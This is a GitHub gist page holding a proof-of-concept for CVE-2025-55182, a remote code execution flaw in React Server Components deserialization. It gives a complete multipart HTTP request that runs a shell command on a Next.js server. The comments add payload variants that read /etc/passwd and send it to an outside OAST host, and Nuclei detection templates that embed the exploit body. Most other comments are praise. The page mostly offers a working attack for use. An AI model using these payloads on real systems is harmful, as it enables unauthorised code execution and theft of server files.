Skip to content

Instantly share code, notes, and snippets.

@maple3142
Last active December 5, 2025 08:28
Show Gist options
  • Select an option

  • Save maple3142/48bc9393f45e068cf8c90ab865c0f5f3 to your computer and use it in GitHub Desktop.

Select an option

Save maple3142/48bc9393f45e068cf8c90ab865c0f5f3 to your computer and use it in GitHub Desktop.
CVE-2025-55182 React Server Components RCE POC

POC for CVE-2025-55182 that works on Next.js 16.0.6

Core idea

Use the $@ deserialization to get a Chunk reference, and put Chunk.prototype.then as the then property of the root object. Then then would be invoked with root object as this/chunk when it is awaited/resolved.

By setting the status to RESOLVED_MODEL, now we can call initializeModelChunk with a fake chunk that is comlpetely in our control. This is particularly useful since itself and its related functions call many methods from the chunk._response object.

Exploit

The target is to trigger the Blob deserialization, which calls response._formData.get with payload from response._prefix and return the result directly. So all we need is to set response._formData.get to Function so the returned result would be a function with attacker controlled code, then put that to then again so it would be executed.

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
@7PH
Copy link

7PH commented Dec 4, 2025

skibidi

@almadoro
Copy link

almadoro commented Dec 4, 2025

What does the $B1337 do? Why that value?

GG

@nik2708
Copy link

nik2708 commented Dec 4, 2025

Good work

@ejpir
Copy link

ejpir commented Dec 4, 2025

awesome! :)

@lxsmnsyc
Copy link

lxsmnsyc commented Dec 5, 2025

What does the $B1337 do? Why that value?

GG

@almadoro $B references a Blob, while 1337 (which is supposed to be a Blob reference id), is just arbitrary and just for fun (1337).

https://github.com/facebook/react/blob/3016ff87d87aeff5181d95348d609039fdcad94a/packages/react-server/src/ReactFlightServer.js#L3310

@HerringtonDarkholme
Copy link

Hi this is an AI slop write-up, https://gist.github.com/HerringtonDarkholme/87f14efca45f7d38740be9f53849a89f

Read at your own discretion

@sovereign-stone
Copy link

Good!

@passwa11
Copy link

passwa11 commented Dec 5, 2025

awesome! :)

your AI bullshit poc of react! hhh

@phpmac
Copy link

phpmac commented Dec 5, 2025

Make hackers great again!

@Malayke
Copy link

Malayke commented Dec 5, 2025

Good job!

currently, no response, can change payload to request OAST platform like BurpSuite Collaborator.

⚠️⚠️⚠️ replace an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com to your own OAST/dnslog domain, or you can't see the execution result

make http request

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

send /etc/passwd

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').request({hostname:'an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

I've written a non-invasive scanner and a reproducible setup environment for this vulnerability. can find it here: https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

The repository includes Memory Shell Payload 🚨

@polite-007
Copy link

good work

@zzj-create
Copy link

niubi

@xiaoyi0923
Copy link

牛逼

@beichenst
Copy link

牛了

@RuskiRa8bit
Copy link

牛逼

@FlyPhantomFly
Copy link

Really good work! 🔥

@aimardcr
Copy link

aimardcr commented Dec 5, 2025

any way to do it without using constructor? i manage to try $1:__proto__:constructor and it worked... but still, i wonder if we have other payloads

@Jmehta10
Copy link

Jmehta10 commented Dec 5, 2025

  1. Active Detection Template (Based on PoC Payload)
    This sends the adapted PoC multipart request from the first Gist, checking for exploitation indicators like timeouts or deserialization errors. It mimics the chunk pollution ($1:proto:then), resolved model status, and _formData.get gadget but with a safe echo.
    Save as cve-2025-55182-detection.yaml
id: CVE-2025-55182-detection

info:
  name: React Server Components RCE Detection (Flight Deserialization)
  author: xai
  severity: critical
  description: Detects CVE-2025-55182 via crafted Flight chunk deserialization leading to potential RCE. Based on public PoC exploiting unsafe path traversal and gadget invocation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55182
    - https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
    - https://gist.github.com/HerringtonDarkholme/87f14efca45f7d38740be9f53849a89f
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-55182
  tags: cve,cve2025,react,nextjs,rce,ssrf,deserialization,flight-protocol

http:
  - method: POST
    path:
      - "{{BaseURL}}"
    headers:
      Next-Action: x  # Triggers Server Action processing (arbitrary ID)
    body: |
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
      Content-Disposition: form-data; name="0"

      { "then" : "$1:__proto__:then" , "status" : "resolved_model" , "reason" : -1 , "value" : "{ \"then\" : \"$B1337\" }" , "_response" :{ "_prefix" : "process.mainModule.require('child_process').execSync('echo vulnerable');" , "_formData" :{ "get" : "$1:constructor:constructor" }}}
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
      Content-Disposition: form-data; name="1"

      "$@0"
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
    matchers-condition: or
    matchers:
      - type: status
        status:
          - -1  # Connection timeout/hang (common on success)
          - 504  # Gateway timeout
      - type: word
        words:
          - "Invalid chunk reference"  # Deserialization failure (patched)
          - "ReactFlightReplyServer"  # Stack trace leak
          - "getOutlinedModel"  # Internal func from write-up
        part: body
        condition: and
      - type: dsl
        dsl:
          - "contains(body, 'prototype') && contains(body, 'constructor')"  # Pollution traces
        condition: and

    extractors:
      - type: regex
        name: action_id
        part: header
        group: 1
        regex:
          - 'Next-Action: ([a-f0-9]{40})'  # Extract if present for chaining
  1. Passive Version Detection Template
    This checks for vulnerable React/Next.js versions via common exposure points (e.g., error pages, headers, or manifest). Complements the active template for low-noise scanning. Based on affected versions from CVE (19.0.0–19.2.0) and write-up's protocol details.
    Save as cve-2025-55182-versions.yaml:
id: CVE-2025-55182-versions

info:
  name: React Server Components Vulnerable Versions
  author: xai
  severity: high
  description: Detects versions of React Server Components affected by CVE-2025-55182 (unsafe Flight deserialization). Scans for version exposure in headers, errors, or JS bundles.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55182
    - https://gist.github.com/HerringtonDarkholme/87f14efca45f7d38740be9f53849a89f  # Flight protocol analysis
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-55182
  tags: cve,cve2025,react,nextjs,version,rce,flight-protocol

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/_next/static/chunks/app/page.js"  # Common Next.js bundle
      - "{{BaseURL}}/api/health"  # Probe for errors exposing versions

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "19.0.0"
          - "19.1.0"
          - "19.1.1"
          - "19.2.0"
        part: body
        condition: and
      - type: regex
        regex:
          - "(react-server-dom-webpack|react-server-dom-parcel|react-server-dom-turbopack).*?(19\\.(0|1(\\.1)?|2)\\.0)"
        part: body
      - type: dsl
        dsl:
          - "contains(body, 'ReactFlight') && status_code == 200"  # Flight exposure without patch errors
        condition: and

    extractors:
      - type: regex
        name: react_version
        part: body
        group: 1
        regex:
          - 'react-server-dom[^"]*?([0-9.]+)'

@admi-n
Copy link

admi-n commented Dec 5, 2025

nb

@timothyericsson
Copy link

Oh skibbidy, this isn't good. Great PoC

@CodeBoy2006
Copy link

nb

@liuzhen9320
Copy link

good work

@yyyyyyyyuuuuuuu
Copy link

6

@Coldtears7
Copy link

吓的我关闭了服务器

@mlgzackfly
Copy link

niubi

@bx33661
Copy link

bx33661 commented Dec 5, 2025

good job

@Seven1an
Copy link

Seven1an commented Dec 5, 2025

wow

@0xshrimantyogi
Copy link

how to extract
Next-Action: x
ID

@EvtDanya
Copy link

EvtDanya commented Dec 5, 2025

is it possible to return the result of executing a command in response to a request? You will not be able to send to the collaborator due to network restrictions.

@N3Dx0o
Copy link

N3Dx0o commented Dec 5, 2025

E Z one

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment